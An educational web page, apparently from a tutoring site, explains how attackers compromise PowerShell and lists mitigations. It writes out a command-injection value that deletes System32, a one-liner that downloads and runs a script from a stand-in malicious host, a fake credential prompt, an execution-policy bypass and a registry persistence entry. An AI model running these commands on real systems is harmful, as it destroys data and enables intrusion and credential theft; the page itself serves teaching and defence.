MisterTootor M.S., B.S., A.S., A.S.B
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How Cybersecurity Actors Compromise Powershell
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Cybersecurity actors can compromise PowerShell by exploiting misconfigurations, insecure scripts, and malicious payload execution. PowerShell is a powerful tool in Windows environments, making it a prime target for privilege escalation, fileless malware attacks, and command injection.
Vulnerable PowerShell Script
A poorly written PowerShell script takes user input to execute a system command.
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param (
[string]$userInput
)
# Executes a system command based on user input
Invoke-Expression "Get-Process $userInput"
Example
How an Attack Works
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Step 1: Malicious Input
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The script uses Invoke-Expression (IEX), which evaluates user input as a command. If an attacker enters:
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powershell
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notepad; Remove-Item -Path C:\Windows\System32 -Recurse -Force
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The script executes:
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powershell
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Get-Process notepad; Remove-Item -Path C:\Windows\System32 -Recurse -Force
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This deletes system files, making the machine unusable.
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Step 2: Fileless Malware Execution
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Attackers often use PowerShell for fileless attacks. A common example is executing a remote payload:
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powershell
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IEX (New-Object Net.WebClient).DownloadString('http://malicious-site.com/malware.ps1')
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This downloads and executes a remote malicious PowerShell script without touching disk, making it harder to detect.
Other Ways PowerShell Can Be Exploited
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Privilege Escalation via Unrestricted Execution Policy
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* Attackers bypass script execution restrictions:
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powershell
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Set-ExecutionPolicy Unrestricted -Scope Process
* This allows them to run malicious scripts.
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2. Credential Theft with Get-Credential
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* A fake credential prompt:
powershell
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$creds = Get-Credential -Message "Windows Security Update"
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* Logs user credentials for exfiltration.
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3. Abusing PowerShell Remoting
* If Enable-PSRemoting is enabled, attackers can execute remote commands:
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powershell
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Invoke-Command -ComputerName victim-PC -ScriptBlock { Get-Process }
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4. Persistence via Registry
* Attackers create a persistent backdoor:
powershell
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Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousScript" -Value "C:\evil.ps1"
Mitigation Strategies - ChatGPT
1. Disable Invoke-Expression (IEX) in scripts.
2. Restrict PowerShell Execution Policies:
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powershell
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Set-ExecutionPolicy AllSigned
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3. Monitor PowerShell Logs with Windows Event Logging.
4. Use PowerShell Constrained Language Mode:
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powershell
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$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
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5. Disable Unused PowerShell Features, like remoting.
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